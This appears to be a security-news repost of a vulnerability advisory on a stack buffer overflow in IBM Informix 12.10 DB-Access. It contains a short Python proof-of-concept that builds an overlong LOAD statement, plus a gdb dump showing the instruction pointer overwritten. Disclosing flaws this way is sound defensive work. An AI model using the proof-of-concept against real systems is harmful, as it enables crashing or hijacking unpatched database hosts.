IBM Informix 12.10 DB-Access 缓冲区溢出漏洞利用

颓废 2019年5月19日10:50:40评论592 views字数 2685阅读8分57秒阅读模式
摘要

IBM Informix DB-Access实用程序容易受到基于堆栈的缓冲区溢出的影响,这是由不正确的边界检查引起的,这可能允许攻击者执行任意代码。 通过在LOAD语句中提供过长的文件参数值触发漏洞,该值用于将操作系统文件中的数据插入到现有的表或视图中。 版本12.10受到影响。

IBM Informix DB-Access实用程序容易受到基于堆栈的缓冲区溢出的影响,这是由不正确的边界检查引起的,这可能允许攻击者执行任意代码。 通过在LOAD语句中提供过长的文件参数值触发漏洞,该值用于将操作系统文件中的数据插入到现有的表或视图中。 版本12.10受到影响。

IBM Informix DB-Access Buffer Overflow     Advisory Title: IBM Informix DB-Access Buffer Overflow Advisory URL: http://www.defensecode.com/advisories/DC-2017-04-001_IBM_Informix_DB-Access_Buffer_Overflow.pdf Software: IBM Informix Version: 12.10 Vendor Status: Vendor Contacted / Not Fixed Release Date: 11.07.2017 Risk: High       1. General Overview =================== IBM Informix DB-Access utility is vulnerable to a stack based buffer overflow, caused by improper bounds checking which could allow an attacker to execute arbitrary code. The vulnerability is triggered by providing an overly long file parameter value inside a LOAD statement, which is used to insert data from an operating-system file into an existing table or view.     2. Software Overview =================== Informix is one of the worldas most widely used database servers with users ranging from the worldas largest corporations to start-ups. IBM Informix incorporates design concepts that are significantly different from traditional relational platforms, resulting in extremely high levels of performance and availability, distinctive capabilities in data replication and scalability, and minimal administrative overhead.   The DB-Access utility is included with the Informix server and with the Informix Client Software Development Kit. DB-Access provides a menu-driven interface for entering, running, and debugging SQL statements and Stored Procedure Language routines. DB-Access can also be ran interactively from the command line.     3. Brief Vulnerability Description ================================== By providing a specially crafted command file to the DB-Access command line utility it is possible to cause a buffer overflow, overwriting the instruction pointer (EIP) and thus hijack the execution flow of the program. Crafted file contains a LOAD statement with an overly long file parameter that will overwrite EIP.   3.1 Proof of Concept   The following python script will generate a proof of concept .sql crash test file that can be used to verify the vulnerability:   ------- #!/usr/bin/python   load_overflow = 'A' * 5000 statement = "LOAD FROM '" + load_overflow + " test' INSERT INTO example;"   crash_file = open("crash.sql", "w") crash_file.write(statement) crash_file.close() -------   PoC usage: dbaccess <name of existing database> crash.sql   ------- Registers state following the overflow:   (gdb) i r eax            0xffffffff    -1 ecx            0xb7bf4d00    -1212199680 edx            0x0    0 ebx            0x41414141    1094795585 esp            0xbfffce40    0xbfffce40 ebp            0x41414141    0x41414141 esi            0x41414141    1094795585 edi            0x41414141    1094795585 eip            0x41414141    0x41414141 -------   PoC tested on: Informix Innovator-C Edition for Linux x86 32     4. Solution ========== The vulnerability has not been addressed by vendor in a 90 days period following the submission. Vendor has expressed an intention of fixing the vulnerability in a future update.     5. Credits ========== Vulnerability discovered by Leon Juranic, further analysis by Bosko Stankovic.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日10:50:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   IBM Informix 12.10 DB-Access 缓冲区溢出漏洞利用https://cn-sec.com/archives/68625.html

发表评论

匿名网友 填写信息